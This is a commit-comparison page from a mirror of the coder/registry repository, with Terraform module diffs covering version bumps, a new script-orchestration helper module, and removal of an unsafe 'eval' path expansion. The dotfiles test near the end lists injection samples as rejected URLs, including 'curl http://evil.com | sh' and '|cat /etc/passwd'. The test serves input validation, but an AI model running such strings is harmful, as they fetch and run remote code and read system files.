mirror of
https://github.com/coder/registry.git
synced 2026-06-03 04:58:15 +00:00
Compare commits
15 Commits
| Author | SHA1 | Date | |
|---|---|---|---|
| 47dd64a40b | |||
| 480bf4b48c | |||
| d8851492c0 | |||
| 186a779659 | |||
| 8defcb2410 | |||
| 14c43d9f29 | |||
| ac92895c50 | |||
| 563dbc4a71 | |||
| 39fec7ca82 | |||
| c5ff4de9ed | |||
| a9a03b167c | |||
| 0449051828 | |||
| 8e68c96633 | |||
| 86045b5a64 | |||
| 4669c0e48c |
@@ -13,7 +13,7 @@ Run Codex CLI in your workspace to access OpenAI's models through the Codex inte
|
||||
```tf
|
||||
module "codex" {
|
||||
source = "registry.coder.com/coder-labs/codex/coder"
|
||||
version = "4.1.0"
|
||||
version = "4.1.1"
|
||||
agent_id = coder_agent.example.id
|
||||
openai_api_key = var.openai_api_key
|
||||
workdir = "/home/coder/project"
|
||||
@@ -32,7 +32,7 @@ module "codex" {
|
||||
module "codex" {
|
||||
count = data.coder_workspace.me.start_count
|
||||
source = "registry.coder.com/coder-labs/codex/coder"
|
||||
version = "4.1.0"
|
||||
version = "4.1.1"
|
||||
agent_id = coder_agent.example.id
|
||||
openai_api_key = "..."
|
||||
workdir = "/home/coder/project"
|
||||
@@ -51,7 +51,7 @@ For tasks integration with AI Bridge, add `enable_aibridge = true` to the [Usage
|
||||
```tf
|
||||
module "codex" {
|
||||
source = "registry.coder.com/coder-labs/codex/coder"
|
||||
version = "4.1.0"
|
||||
version = "4.1.1"
|
||||
agent_id = coder_agent.example.id
|
||||
workdir = "/home/coder/project"
|
||||
enable_aibridge = true
|
||||
@@ -94,7 +94,7 @@ data "coder_task" "me" {}
|
||||
|
||||
module "codex" {
|
||||
source = "registry.coder.com/coder-labs/codex/coder"
|
||||
version = "4.1.0"
|
||||
version = "4.1.1"
|
||||
agent_id = coder_agent.example.id
|
||||
openai_api_key = "..."
|
||||
ai_prompt = data.coder_task.me.prompt
|
||||
@@ -112,7 +112,7 @@ This example shows additional configuration options for custom models, MCP serve
|
||||
```tf
|
||||
module "codex" {
|
||||
source = "registry.coder.com/coder-labs/codex/coder"
|
||||
version = "4.1.0"
|
||||
version = "4.1.1"
|
||||
agent_id = coder_agent.example.id
|
||||
openai_api_key = "..."
|
||||
workdir = "/home/coder/project"
|
||||
|
||||
@@ -131,7 +131,7 @@ variable "install_agentapi" {
|
||||
variable "agentapi_version" {
|
||||
type = string
|
||||
description = "The version of AgentAPI to install."
|
||||
default = "v0.11.6"
|
||||
default = "v0.11.8"
|
||||
}
|
||||
|
||||
variable "codex_model" {
|
||||
|
||||
@@ -10,8 +10,6 @@ tags: [nextflow, workflow, hpc, bioinformatics]
|
||||
|
||||
A module that adds Nextflow to your Coder template.
|
||||
|
||||

|
||||
|
||||
```tf
|
||||
module "nextflow" {
|
||||
count = data.coder_workspace.me.start_count
|
||||
|
||||
@@ -0,0 +1,65 @@
|
||||
---
|
||||
display_name: Agent Helper
|
||||
description: Building block for modules that need orchestrated script execution
|
||||
icon: ../../../../.icons/coder.svg
|
||||
verified: false
|
||||
tags: [internal, library]
|
||||
---
|
||||
|
||||
# Agent Helper
|
||||
|
||||
> [!CAUTION]
|
||||
> We do not recommend using this module directly. It is intended primarily for internal use by Coder to create modules with orchestrated script execution.
|
||||
|
||||
The Agent Helper module is a building block for modules that need to run multiple scripts in a specific order. It uses `coder exp sync` for dependency management and is designed for orchestrating pre-install, install, post-install, and start scripts.
|
||||
|
||||
> [!NOTE]
|
||||
>
|
||||
> - The `agent_name` should be the same as that of the agentapi module's `agent_name` if used together.
|
||||
|
||||
```tf
|
||||
module "agent_helper" {
|
||||
source = "registry.coder.com/coder/agent-helper/coder"
|
||||
version = "1.0.0"
|
||||
|
||||
agent_id = coder_agent.main.id
|
||||
agent_name = "myagent"
|
||||
module_dir_name = ".my-module"
|
||||
|
||||
pre_install_script = <<-EOT
|
||||
#!/bin/bash
|
||||
echo "Running pre-install tasks..."
|
||||
# Your pre-install logic here
|
||||
EOT
|
||||
|
||||
install_script = <<-EOT
|
||||
#!/bin/bash
|
||||
echo "Installing dependencies..."
|
||||
# Your install logic here
|
||||
EOT
|
||||
|
||||
post_install_script = <<-EOT
|
||||
#!/bin/bash
|
||||
echo "Running post-install configuration..."
|
||||
# Your post-install logic here
|
||||
EOT
|
||||
|
||||
start_script = <<-EOT
|
||||
#!/bin/bash
|
||||
echo "Starting the application..."
|
||||
# Your start logic here
|
||||
EOT
|
||||
}
|
||||
```
|
||||
|
||||
## Execution Order
|
||||
|
||||
The module orchestrates scripts in the following order:
|
||||
|
||||
1. **Log File Creation** - Creates module directory and log files
|
||||
2. **Pre-Install Script** (optional) - Runs before installation
|
||||
3. **Install Script** - Main installation
|
||||
4. **Post-Install Script** (optional) - Runs after installation
|
||||
5. **Start Script** - Starts the application
|
||||
|
||||
Each script waits for its prerequisites to complete before running using `coder exp sync` dependency management.
|
||||
@@ -0,0 +1,13 @@
|
||||
import { describe } from "bun:test";
|
||||
import { runTerraformInit, testRequiredVariables } from "~test";
|
||||
|
||||
describe("agent-helper", async () => {
|
||||
await runTerraformInit(import.meta.dir);
|
||||
|
||||
testRequiredVariables(import.meta.dir, {
|
||||
agent_id: "test-agent-id",
|
||||
agent_name: "test-agent",
|
||||
module_dir_name: ".test-module",
|
||||
start_script: "echo 'start'",
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,190 @@
|
||||
terraform {
|
||||
required_version = ">= 1.0"
|
||||
|
||||
required_providers {
|
||||
coder = {
|
||||
source = "coder/coder"
|
||||
version = ">= 2.13"
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
variable "agent_id" {
|
||||
type = string
|
||||
description = "The ID of a Coder agent."
|
||||
}
|
||||
|
||||
data "coder_workspace" "me" {}
|
||||
|
||||
data "coder_workspace_owner" "me" {}
|
||||
|
||||
data "coder_task" "me" {}
|
||||
|
||||
variable "pre_install_script" {
|
||||
type = string
|
||||
description = "Custom script to run before installing the agent used by AgentAPI."
|
||||
default = null
|
||||
}
|
||||
|
||||
variable "install_script" {
|
||||
type = string
|
||||
description = "Script to install the agent used by AgentAPI."
|
||||
default = null
|
||||
}
|
||||
|
||||
variable "post_install_script" {
|
||||
type = string
|
||||
description = "Custom script to run after installing the agent used by AgentAPI."
|
||||
default = null
|
||||
}
|
||||
|
||||
variable "start_script" {
|
||||
type = string
|
||||
description = "Script that starts AgentAPI."
|
||||
}
|
||||
|
||||
variable "agent_name" {
|
||||
type = string
|
||||
description = "The name of the agent. This is used to construct unique script names for the experiment sync."
|
||||
|
||||
}
|
||||
|
||||
variable "module_dir_name" {
|
||||
type = string
|
||||
description = "The name of the module directory."
|
||||
}
|
||||
|
||||
locals {
|
||||
encoded_pre_install_script = var.pre_install_script != null ? base64encode(var.pre_install_script) : ""
|
||||
encoded_install_script = var.install_script != null ? base64encode(var.install_script) : ""
|
||||
encoded_post_install_script = var.post_install_script != null ? base64encode(var.post_install_script) : ""
|
||||
encoded_start_script = base64encode(var.start_script)
|
||||
|
||||
pre_install_script_name = "${var.agent_name}-pre_install_script"
|
||||
install_script_name = "${var.agent_name}-install_script"
|
||||
post_install_script_name = "${var.agent_name}-post_install_script"
|
||||
start_script_name = "${var.agent_name}-start_script"
|
||||
|
||||
module_dir_path = "$HOME/${var.module_dir_name}"
|
||||
|
||||
pre_install_path = "${local.module_dir_path}/pre_install.sh"
|
||||
install_path = "${local.module_dir_path}/install.sh"
|
||||
post_install_path = "${local.module_dir_path}/post_install.sh"
|
||||
start_path = "${local.module_dir_path}/start.sh"
|
||||
|
||||
pre_install_log_path = "${local.module_dir_path}/pre_install.log"
|
||||
install_log_path = "${local.module_dir_path}/install.log"
|
||||
post_install_log_path = "${local.module_dir_path}/post_install.log"
|
||||
start_log_path = "${local.module_dir_path}/start.log"
|
||||
}
|
||||
|
||||
resource "coder_script" "pre_install_script" {
|
||||
count = var.pre_install_script == null ? 0 : 1
|
||||
agent_id = var.agent_id
|
||||
display_name = "Pre-Install Script"
|
||||
run_on_start = true
|
||||
script = <<-EOT
|
||||
#!/bin/bash
|
||||
set -o errexit
|
||||
set -o pipefail
|
||||
|
||||
mkdir -p ${local.module_dir_path}
|
||||
|
||||
trap 'coder exp sync complete ${local.pre_install_script_name}' EXIT
|
||||
coder exp sync start ${local.pre_install_script_name}
|
||||
|
||||
echo -n '${local.encoded_pre_install_script}' | base64 -d > ${local.pre_install_path}
|
||||
chmod +x ${local.pre_install_path}
|
||||
|
||||
${local.pre_install_path} > ${local.pre_install_log_path} 2>&1
|
||||
EOT
|
||||
}
|
||||
|
||||
resource "coder_script" "install_script" {
|
||||
agent_id = var.agent_id
|
||||
display_name = "Install Script"
|
||||
run_on_start = true
|
||||
script = <<-EOT
|
||||
#!/bin/bash
|
||||
set -o errexit
|
||||
set -o pipefail
|
||||
|
||||
mkdir -p ${local.module_dir_path}
|
||||
|
||||
trap 'coder exp sync complete ${local.install_script_name}' EXIT
|
||||
%{if var.pre_install_script != null~}
|
||||
coder exp sync want ${local.install_script_name} ${local.pre_install_script_name}
|
||||
%{endif~}
|
||||
coder exp sync start ${local.install_script_name}
|
||||
echo -n '${local.encoded_install_script}' | base64 -d > ${local.install_path}
|
||||
chmod +x ${local.install_path}
|
||||
|
||||
${local.install_path} > ${local.install_log_path} 2>&1
|
||||
EOT
|
||||
}
|
||||
|
||||
resource "coder_script" "post_install_script" {
|
||||
count = var.post_install_script != null ? 1 : 0
|
||||
agent_id = var.agent_id
|
||||
display_name = "Post-Install Script"
|
||||
run_on_start = true
|
||||
script = <<-EOT
|
||||
#!/bin/bash
|
||||
set -o errexit
|
||||
set -o pipefail
|
||||
|
||||
trap 'coder exp sync complete ${local.post_install_script_name}' EXIT
|
||||
coder exp sync want ${local.post_install_script_name} ${local.install_script_name}
|
||||
coder exp sync start ${local.post_install_script_name}
|
||||
|
||||
echo -n '${local.encoded_post_install_script}' | base64 -d > ${local.post_install_path}
|
||||
chmod +x ${local.post_install_path}
|
||||
|
||||
${local.post_install_path} > ${local.post_install_log_path} 2>&1
|
||||
EOT
|
||||
}
|
||||
|
||||
resource "coder_script" "start_script" {
|
||||
agent_id = var.agent_id
|
||||
display_name = "Start Script"
|
||||
run_on_start = true
|
||||
script = <<-EOT
|
||||
#!/bin/bash
|
||||
set -o errexit
|
||||
set -o pipefail
|
||||
|
||||
trap 'coder exp sync complete ${local.start_script_name}' EXIT
|
||||
|
||||
%{if var.post_install_script != null~}
|
||||
coder exp sync want ${local.start_script_name} ${local.install_script_name} ${local.post_install_script_name}
|
||||
%{else~}
|
||||
coder exp sync want ${local.start_script_name} ${local.install_script_name}
|
||||
%{endif~}
|
||||
coder exp sync start ${local.start_script_name}
|
||||
|
||||
echo -n '${local.encoded_start_script}' | base64 -d > ${local.start_path}
|
||||
chmod +x ${local.start_path}
|
||||
|
||||
${local.start_path} > ${local.start_log_path} 2>&1
|
||||
EOT
|
||||
}
|
||||
|
||||
output "pre_install_script_name" {
|
||||
description = "The name of the pre-install script for sync."
|
||||
value = local.pre_install_script_name
|
||||
}
|
||||
|
||||
output "install_script_name" {
|
||||
description = "The name of the install script for sync."
|
||||
value = local.install_script_name
|
||||
}
|
||||
|
||||
output "post_install_script_name" {
|
||||
description = "The name of the post-install script for sync."
|
||||
value = local.post_install_script_name
|
||||
}
|
||||
|
||||
output "start_script_name" {
|
||||
description = "The name of the start script for sync."
|
||||
value = local.start_script_name
|
||||
}
|
||||
@@ -0,0 +1,271 @@
|
||||
# Test for agent-helper module
|
||||
|
||||
# Test with all scripts provided
|
||||
run "test_with_all_scripts" {
|
||||
command = plan
|
||||
|
||||
variables {
|
||||
agent_id = "test-agent-id"
|
||||
agent_name = "test-agent"
|
||||
module_dir_name = ".test-module"
|
||||
pre_install_script = "echo 'pre-install'"
|
||||
install_script = "echo 'install'"
|
||||
post_install_script = "echo 'post-install'"
|
||||
start_script = "echo 'start'"
|
||||
}
|
||||
|
||||
# Verify pre_install_script is created when provided
|
||||
assert {
|
||||
condition = length(coder_script.pre_install_script) == 1
|
||||
error_message = "Pre-install script should be created when pre_install_script is provided"
|
||||
}
|
||||
|
||||
assert {
|
||||
condition = coder_script.pre_install_script[0].agent_id == "test-agent-id"
|
||||
error_message = "Pre-install script agent ID should match input"
|
||||
}
|
||||
|
||||
assert {
|
||||
condition = coder_script.pre_install_script[0].display_name == "Pre-Install Script"
|
||||
error_message = "Pre-install script should have correct display name"
|
||||
}
|
||||
|
||||
assert {
|
||||
condition = coder_script.pre_install_script[0].run_on_start == true
|
||||
error_message = "Pre-install script should run on start"
|
||||
}
|
||||
|
||||
# Verify install_script is created
|
||||
assert {
|
||||
condition = coder_script.install_script.agent_id == "test-agent-id"
|
||||
error_message = "Install script agent ID should match input"
|
||||
}
|
||||
|
||||
assert {
|
||||
condition = coder_script.install_script.display_name == "Install Script"
|
||||
error_message = "Install script should have correct display name"
|
||||
}
|
||||
|
||||
assert {
|
||||
condition = coder_script.install_script.run_on_start == true
|
||||
error_message = "Install script should run on start"
|
||||
}
|
||||
|
||||
# Verify post_install_script is created when provided
|
||||
assert {
|
||||
condition = length(coder_script.post_install_script) == 1
|
||||
error_message = "Post-install script should be created when post_install_script is provided"
|
||||
}
|
||||
|
||||
assert {
|
||||
condition = coder_script.post_install_script[0].agent_id == "test-agent-id"
|
||||
error_message = "Post-install script agent ID should match input"
|
||||
}
|
||||
|
||||
assert {
|
||||
condition = coder_script.post_install_script[0].display_name == "Post-Install Script"
|
||||
error_message = "Post-install script should have correct display name"
|
||||
}
|
||||
|
||||
assert {
|
||||
condition = coder_script.post_install_script[0].run_on_start == true
|
||||
error_message = "Post-install script should run on start"
|
||||
}
|
||||
|
||||
# Verify start_script is created
|
||||
assert {
|
||||
condition = coder_script.start_script.agent_id == "test-agent-id"
|
||||
error_message = "Start script agent ID should match input"
|
||||
}
|
||||
|
||||
assert {
|
||||
condition = coder_script.start_script.display_name == "Start Script"
|
||||
error_message = "Start script should have correct display name"
|
||||
}
|
||||
|
||||
assert {
|
||||
condition = coder_script.start_script.run_on_start == true
|
||||
error_message = "Start script should run on start"
|
||||
}
|
||||
|
||||
# Verify outputs for script names
|
||||
assert {
|
||||
condition = output.pre_install_script_name == "test-agent-pre_install_script"
|
||||
error_message = "Pre-install script name output should be correctly formatted"
|
||||
}
|
||||
|
||||
assert {
|
||||
condition = output.install_script_name == "test-agent-install_script"
|
||||
error_message = "Install script name output should be correctly formatted"
|
||||
}
|
||||
|
||||
assert {
|
||||
condition = output.post_install_script_name == "test-agent-post_install_script"
|
||||
error_message = "Post-install script name output should be correctly formatted"
|
||||
}
|
||||
|
||||
assert {
|
||||
condition = output.start_script_name == "test-agent-start_script"
|
||||
error_message = "Start script name output should be correctly formatted"
|
||||
}
|
||||
}
|
||||
|
||||
# Test with only required scripts (no pre/post install)
|
||||
run "test_without_optional_scripts" {
|
||||
command = plan
|
||||
|
||||
variables {
|
||||
agent_id = "test-agent-id"
|
||||
agent_name = "test-agent"
|
||||
module_dir_name = ".test-module"
|
||||
install_script = "echo 'install'"
|
||||
start_script = "echo 'start'"
|
||||
}
|
||||
|
||||
# Verify pre_install_script is NOT created when not provided
|
||||
assert {
|
||||
condition = length(coder_script.pre_install_script) == 0
|
||||
error_message = "Pre-install script should not be created when pre_install_script is null"
|
||||
}
|
||||
|
||||
# Verify post_install_script is NOT created when not provided
|
||||
assert {
|
||||
condition = length(coder_script.post_install_script) == 0
|
||||
error_message = "Post-install script should not be created when post_install_script is null"
|
||||
}
|
||||
|
||||
# Verify required scripts are still created
|
||||
assert {
|
||||
condition = coder_script.install_script.agent_id == "test-agent-id"
|
||||
error_message = "Install script should be created"
|
||||
}
|
||||
|
||||
assert {
|
||||
condition = coder_script.start_script.agent_id == "test-agent-id"
|
||||
error_message = "Start script should be created"
|
||||
}
|
||||
|
||||
# Verify outputs
|
||||
assert {
|
||||
condition = output.pre_install_script_name == "test-agent-pre_install_script"
|
||||
error_message = "Pre-install script name output should be generated even when script is not created"
|
||||
}
|
||||
|
||||
assert {
|
||||
condition = output.install_script_name == "test-agent-install_script"
|
||||
error_message = "Install script name output should be correctly formatted"
|
||||
}
|
||||
|
||||
assert {
|
||||
condition = output.post_install_script_name == "test-agent-post_install_script"
|
||||
error_message = "Post-install script name output should be generated even when script is not created"
|
||||
}
|
||||
|
||||
assert {
|
||||
condition = output.start_script_name == "test-agent-start_script"
|
||||
error_message = "Start script name output should be correctly formatted"
|
||||
}
|
||||
}
|
||||
|
||||
# Test with mock data sources
|
||||
run "test_with_mock_data" {
|
||||
command = plan
|
||||
|
||||
variables {
|
||||
agent_id = "mock-agent"
|
||||
agent_name = "mock-agent"
|
||||
module_dir_name = ".mock-module"
|
||||
install_script = "echo 'install'"
|
||||
start_script = "echo 'start'"
|
||||
}
|
||||
|
||||
# Mock the data sources for testing
|
||||
override_data {
|
||||
target = data.coder_workspace.me
|
||||
values = {
|
||||
id = "test-workspace-id"
|
||||
name = "test-workspace"
|
||||
owner = "test-owner"
|
||||
owner_id = "test-owner-id"
|
||||
template_id = "test-template-id"
|
||||
template_name = "test-template"
|
||||
access_url = "https://coder.example.com"
|
||||
start_count = 1
|
||||
transition = "start"
|
||||
}
|
||||
}
|
||||
|
||||
override_data {
|
||||
target = data.coder_workspace_owner.me
|
||||
values = {
|
||||
id = "test-owner-id"
|
||||
email = "test@example.com"
|
||||
name = "Test User"
|
||||
session_token = "mock-token"
|
||||
}
|
||||
}
|
||||
|
||||
override_data {
|
||||
target = data.coder_task.me
|
||||
values = {
|
||||
id = "test-task-id"
|
||||
}
|
||||
}
|
||||
|
||||
# Verify scripts are created with mocked data
|
||||
assert {
|
||||
condition = coder_script.install_script.agent_id == "mock-agent"
|
||||
error_message = "Install script should use the mocked agent ID"
|
||||
}
|
||||
|
||||
assert {
|
||||
condition = coder_script.start_script.agent_id == "mock-agent"
|
||||
error_message = "Start script should use the mocked agent ID"
|
||||
}
|
||||
}
|
||||
|
||||
# Test script naming with custom agent_name
|
||||
run "test_script_naming" {
|
||||
command = plan
|
||||
|
||||
variables {
|
||||
agent_id = "test-agent"
|
||||
agent_name = "custom-name"
|
||||
module_dir_name = ".test-module"
|
||||
install_script = "echo 'install'"
|
||||
start_script = "echo 'start'"
|
||||
}
|
||||
|
||||
# Verify script names are constructed correctly
|
||||
# The script should contain references to custom-name-* in the sync commands
|
||||
assert {
|
||||
condition = can(regex("custom-name-install_script", coder_script.install_script.script))
|
||||
error_message = "Install script should use custom agent_name in sync commands"
|
||||
}
|
||||
|
||||
assert {
|
||||
condition = can(regex("custom-name-start_script", coder_script.start_script.script))
|
||||
error_message = "Start script should use custom agent_name in sync commands"
|
||||
}
|
||||
|
||||
# Verify outputs use custom agent_name
|
||||
assert {
|
||||
condition = output.pre_install_script_name == "custom-name-pre_install_script"
|
||||
error_message = "Pre-install script name output should use custom agent_name"
|
||||
}
|
||||
|
||||
assert {
|
||||
condition = output.install_script_name == "custom-name-install_script"
|
||||
error_message = "Install script name output should use custom agent_name"
|
||||
}
|
||||
|
||||
assert {
|
||||
condition = output.post_install_script_name == "custom-name-post_install_script"
|
||||
error_message = "Post-install script name output should use custom agent_name"
|
||||
}
|
||||
|
||||
assert {
|
||||
condition = output.start_script_name == "custom-name-start_script"
|
||||
error_message = "Start script name output should use custom agent_name"
|
||||
}
|
||||
}
|
||||
@@ -16,7 +16,7 @@ The AgentAPI module is a building block for modules that need to run an AgentAPI
|
||||
```tf
|
||||
module "agentapi" {
|
||||
source = "registry.coder.com/coder/agentapi/coder"
|
||||
version = "2.1.0"
|
||||
version = "2.1.1"
|
||||
|
||||
agent_id = var.agent_id
|
||||
web_app_slug = local.app_slug
|
||||
|
||||
@@ -3,20 +3,22 @@ set -o errexit
|
||||
set -o pipefail
|
||||
|
||||
port=${1:-3284}
|
||||
max_attempts=150
|
||||
|
||||
# This script waits for the agentapi server to start on port 3284.
|
||||
# This script waits for the agentapi server to start on the given port.
|
||||
# Each attempt sleeps 0.1s, so 150 attempts ≈ 15 seconds.
|
||||
# It considers the server started after 3 consecutive successful responses.
|
||||
|
||||
agentapi_started=false
|
||||
|
||||
echo "Waiting for agentapi server to start on port $port..."
|
||||
for i in $(seq 1 150); do
|
||||
for i in $(seq 1 "$max_attempts"); do
|
||||
for j in $(seq 1 3); do
|
||||
sleep 0.1
|
||||
if curl -fs -o /dev/null "http://localhost:$port/status"; then
|
||||
echo "agentapi response received ($j/3)"
|
||||
else
|
||||
echo "agentapi server not responding ($i/15)"
|
||||
echo "agentapi server not responding ($i/$max_attempts)"
|
||||
continue 2
|
||||
fi
|
||||
done
|
||||
@@ -25,7 +27,7 @@ for i in $(seq 1 150); do
|
||||
done
|
||||
|
||||
if [ "$agentapi_started" != "true" ]; then
|
||||
echo "Error: agentapi server did not start on port $port after 15 seconds."
|
||||
echo "Error: agentapi server did not start on port $port after $max_attempts attempts."
|
||||
exit 1
|
||||
fi
|
||||
|
||||
|
||||
@@ -16,7 +16,7 @@ Uses the [Coder Remote VS Code Extension](https://github.com/coder/vscode-coder)
|
||||
module "antigravity" {
|
||||
count = data.coder_workspace.me.start_count
|
||||
source = "registry.coder.com/coder/antigravity/coder"
|
||||
version = "1.0.0"
|
||||
version = "1.0.1"
|
||||
agent_id = coder_agent.example.id
|
||||
}
|
||||
```
|
||||
@@ -29,7 +29,7 @@ module "antigravity" {
|
||||
module "antigravity" {
|
||||
count = data.coder_workspace.me.start_count
|
||||
source = "registry.coder.com/coder/antigravity/coder"
|
||||
version = "1.0.0"
|
||||
version = "1.0.1"
|
||||
agent_id = coder_agent.example.id
|
||||
folder = "/home/coder/project"
|
||||
}
|
||||
@@ -45,7 +45,7 @@ The following example configures Antigravity to use the GitHub MCP server with a
|
||||
module "antigravity" {
|
||||
count = data.coder_workspace.me.start_count
|
||||
source = "registry.coder.com/coder/antigravity/coder"
|
||||
version = "1.0.0"
|
||||
version = "1.0.1"
|
||||
agent_id = coder_agent.example.id
|
||||
folder = "/home/coder/project"
|
||||
mcp = jsonencode({
|
||||
|
||||
@@ -66,15 +66,15 @@ locals {
|
||||
|
||||
module "vscode-desktop-core" {
|
||||
source = "registry.coder.com/coder/vscode-desktop-core/coder"
|
||||
version = "1.0.1"
|
||||
version = "1.0.2"
|
||||
|
||||
agent_id = var.agent_id
|
||||
|
||||
web_app_icon = "/icon/antigravity.svg"
|
||||
web_app_slug = var.slug
|
||||
web_app_display_name = var.display_name
|
||||
web_app_order = var.order
|
||||
web_app_group = var.group
|
||||
coder_app_icon = "/icon/antigravity.svg"
|
||||
coder_app_slug = var.slug
|
||||
coder_app_display_name = var.display_name
|
||||
coder_app_order = var.order
|
||||
coder_app_group = var.group
|
||||
|
||||
folder = var.folder
|
||||
open_recent = var.open_recent
|
||||
|
||||
@@ -12,7 +12,8 @@ ARG_CLAUDE_CODE_VERSION=${ARG_CLAUDE_CODE_VERSION:-}
|
||||
ARG_WORKDIR=${ARG_WORKDIR:-"$HOME"}
|
||||
ARG_INSTALL_CLAUDE_CODE=${ARG_INSTALL_CLAUDE_CODE:-}
|
||||
ARG_CLAUDE_BINARY_PATH=${ARG_CLAUDE_BINARY_PATH:-"$HOME/.local/bin"}
|
||||
ARG_CLAUDE_BINARY_PATH=$(eval echo "$ARG_CLAUDE_BINARY_PATH")
|
||||
ARG_CLAUDE_BINARY_PATH="${ARG_CLAUDE_BINARY_PATH/#\~/$HOME}"
|
||||
ARG_CLAUDE_BINARY_PATH="${ARG_CLAUDE_BINARY_PATH//\$HOME/$HOME}"
|
||||
ARG_INSTALL_VIA_NPM=${ARG_INSTALL_VIA_NPM:-false}
|
||||
ARG_REPORT_TASKS=${ARG_REPORT_TASKS:-true}
|
||||
ARG_MCP_APP_STATUS_SLUG=${ARG_MCP_APP_STATUS_SLUG:-}
|
||||
|
||||
@@ -3,7 +3,8 @@
|
||||
set -euo pipefail
|
||||
|
||||
ARG_CLAUDE_BINARY_PATH=${ARG_CLAUDE_BINARY_PATH:-"$HOME/.local/bin"}
|
||||
ARG_CLAUDE_BINARY_PATH=$(eval echo "$ARG_CLAUDE_BINARY_PATH")
|
||||
ARG_CLAUDE_BINARY_PATH="${ARG_CLAUDE_BINARY_PATH/#\~/$HOME}"
|
||||
ARG_CLAUDE_BINARY_PATH="${ARG_CLAUDE_BINARY_PATH//\$HOME/$HOME}"
|
||||
|
||||
export PATH="$ARG_CLAUDE_BINARY_PATH:$PATH"
|
||||
|
||||
|
||||
@@ -16,7 +16,7 @@ Uses the [Coder Remote VS Code Extension](https://github.com/coder/vscode-coder)
|
||||
module "cursor" {
|
||||
count = data.coder_workspace.me.start_count
|
||||
source = "registry.coder.com/coder/cursor/coder"
|
||||
version = "1.4.0"
|
||||
version = "1.4.1"
|
||||
agent_id = coder_agent.main.id
|
||||
}
|
||||
```
|
||||
@@ -29,7 +29,7 @@ module "cursor" {
|
||||
module "cursor" {
|
||||
count = data.coder_workspace.me.start_count
|
||||
source = "registry.coder.com/coder/cursor/coder"
|
||||
version = "1.4.0"
|
||||
version = "1.4.1"
|
||||
agent_id = coder_agent.main.id
|
||||
folder = "/home/coder/project"
|
||||
}
|
||||
@@ -45,7 +45,7 @@ The following example configures Cursor to use the GitHub MCP server with authen
|
||||
module "cursor" {
|
||||
count = data.coder_workspace.me.start_count
|
||||
source = "registry.coder.com/coder/cursor/coder"
|
||||
version = "1.4.0"
|
||||
version = "1.4.1"
|
||||
agent_id = coder_agent.main.id
|
||||
folder = "/home/coder/project"
|
||||
mcp = jsonencode({
|
||||
|
||||
@@ -66,7 +66,7 @@ locals {
|
||||
|
||||
module "vscode-desktop-core" {
|
||||
source = "registry.coder.com/coder/vscode-desktop-core/coder"
|
||||
version = "1.0.0"
|
||||
version = "1.0.2"
|
||||
|
||||
agent_id = var.agent_id
|
||||
|
||||
|
||||
@@ -18,7 +18,7 @@ Under the hood, this module uses the [coder dotfiles](https://coder.com/docs/v2/
|
||||
module "dotfiles" {
|
||||
count = data.coder_workspace.me.start_count
|
||||
source = "registry.coder.com/coder/dotfiles/coder"
|
||||
version = "1.2.3"
|
||||
version = "1.3.0"
|
||||
agent_id = coder_agent.example.id
|
||||
}
|
||||
```
|
||||
@@ -31,7 +31,7 @@ module "dotfiles" {
|
||||
module "dotfiles" {
|
||||
count = data.coder_workspace.me.start_count
|
||||
source = "registry.coder.com/coder/dotfiles/coder"
|
||||
version = "1.2.3"
|
||||
version = "1.3.0"
|
||||
agent_id = coder_agent.example.id
|
||||
}
|
||||
```
|
||||
@@ -42,7 +42,7 @@ module "dotfiles" {
|
||||
module "dotfiles" {
|
||||
count = data.coder_workspace.me.start_count
|
||||
source = "registry.coder.com/coder/dotfiles/coder"
|
||||
version = "1.2.3"
|
||||
version = "1.3.0"
|
||||
agent_id = coder_agent.example.id
|
||||
user = "root"
|
||||
}
|
||||
@@ -54,14 +54,14 @@ module "dotfiles" {
|
||||
module "dotfiles" {
|
||||
count = data.coder_workspace.me.start_count
|
||||
source = "registry.coder.com/coder/dotfiles/coder"
|
||||
version = "1.2.3"
|
||||
version = "1.3.0"
|
||||
agent_id = coder_agent.example.id
|
||||
}
|
||||
|
||||
module "dotfiles-root" {
|
||||
count = data.coder_workspace.me.start_count
|
||||
source = "registry.coder.com/coder/dotfiles/coder"
|
||||
version = "1.2.3"
|
||||
version = "1.3.0"
|
||||
agent_id = coder_agent.example.id
|
||||
user = "root"
|
||||
dotfiles_uri = module.dotfiles.dotfiles_uri
|
||||
@@ -76,7 +76,7 @@ You can set a default dotfiles repository for all users by setting the `default_
|
||||
module "dotfiles" {
|
||||
count = data.coder_workspace.me.start_count
|
||||
source = "registry.coder.com/coder/dotfiles/coder"
|
||||
version = "1.2.3"
|
||||
version = "1.3.0"
|
||||
agent_id = coder_agent.example.id
|
||||
default_dotfiles_uri = "https://github.com/coder/dotfiles"
|
||||
}
|
||||
|
||||
@@ -12,20 +12,47 @@ describe("dotfiles", async () => {
|
||||
agent_id: "foo",
|
||||
});
|
||||
|
||||
it("default output", async () => {
|
||||
it("default output is empty string", async () => {
|
||||
const state = await runTerraformApply(import.meta.dir, {
|
||||
agent_id: "foo",
|
||||
});
|
||||
expect(state.outputs.dotfiles_uri.value).toBe("");
|
||||
});
|
||||
|
||||
it("set a default dotfiles_uri", async () => {
|
||||
const default_dotfiles_uri = "foo";
|
||||
const state = await runTerraformApply(import.meta.dir, {
|
||||
agent_id: "foo",
|
||||
default_dotfiles_uri,
|
||||
});
|
||||
expect(state.outputs.dotfiles_uri.value).toBe(default_dotfiles_uri);
|
||||
it("accepts valid git URL formats", async () => {
|
||||
const validUrls = [
|
||||
"https://github.com/coder/dotfiles",
|
||||
"https://github.com/coder/dotfiles.git",
|
||||
"git@github.com:coder/dotfiles.git",
|
||||
"git://github.com/coder/dotfiles.git",
|
||||
"ssh://git@github.com/coder/dotfiles.git",
|
||||
];
|
||||
for (const url of validUrls) {
|
||||
const state = await runTerraformApply(import.meta.dir, {
|
||||
agent_id: "foo",
|
||||
dotfiles_uri: url,
|
||||
});
|
||||
expect(state.outputs.dotfiles_uri.value).toBe(url);
|
||||
}
|
||||
});
|
||||
|
||||
it("rejects invalid or malicious URLs", async () => {
|
||||
const invalidUrls = [
|
||||
"https://github.com/user/repo; curl http://evil.com | sh",
|
||||
"https://github.com/$(whoami)/repo",
|
||||
"https://github.com/`id`/repo",
|
||||
"https://github.com/user/repo|cat /etc/passwd",
|
||||
"file:///etc/passwd",
|
||||
"not-a-valid-url",
|
||||
];
|
||||
for (const url of invalidUrls) {
|
||||
await expect(
|
||||
runTerraformApply(import.meta.dir, {
|
||||
agent_id: "foo",
|
||||
dotfiles_uri: url,
|
||||
}),
|
||||
